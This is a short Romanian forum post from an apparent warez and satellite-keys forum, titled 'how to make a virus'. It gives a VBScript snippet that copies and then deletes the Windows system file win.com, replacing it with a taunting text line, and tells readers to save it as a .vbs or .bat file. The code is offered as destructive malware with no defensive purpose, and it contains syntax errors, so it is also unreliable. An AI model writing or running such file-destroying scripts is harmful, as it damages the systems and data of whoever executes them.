DIGITAL FREESAT FORUM
Here you find everything about the satellites for satellite receivers software, keys, movies, music ..... many other 		Lista Forumurilor Pe Tematici
DIGITAL FREESAT FORUM | Inregistrare | Login

POZE DIGITAL FREESAT FORUM

Nu sunteti logat. 		Nou pe simpatie:
monaahmed2012 pe Simpatie
Femeie
25 ani
Calarasi
cauta Barbat
25 - 48 ani
DIGITAL FREESAT FORUM / Hacks, Exploits, and Various Discussions / Cum sa faci un virus Moderat de grass
Autor
Mesaj Pagini: 1
engldiscan
Membru nou

Inregistrat: acum 14 ani
Postari: 24
Creati un Fisier Text Nodepad deschideti-l si scrie-ti urmatoarele :

Cod:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Exclamation Exclamation Exclamation Nu dati dublu clik pe el!!!!!!!!!!!!!
pus acum 14 ani
   
Pagini: 1  

Mergi la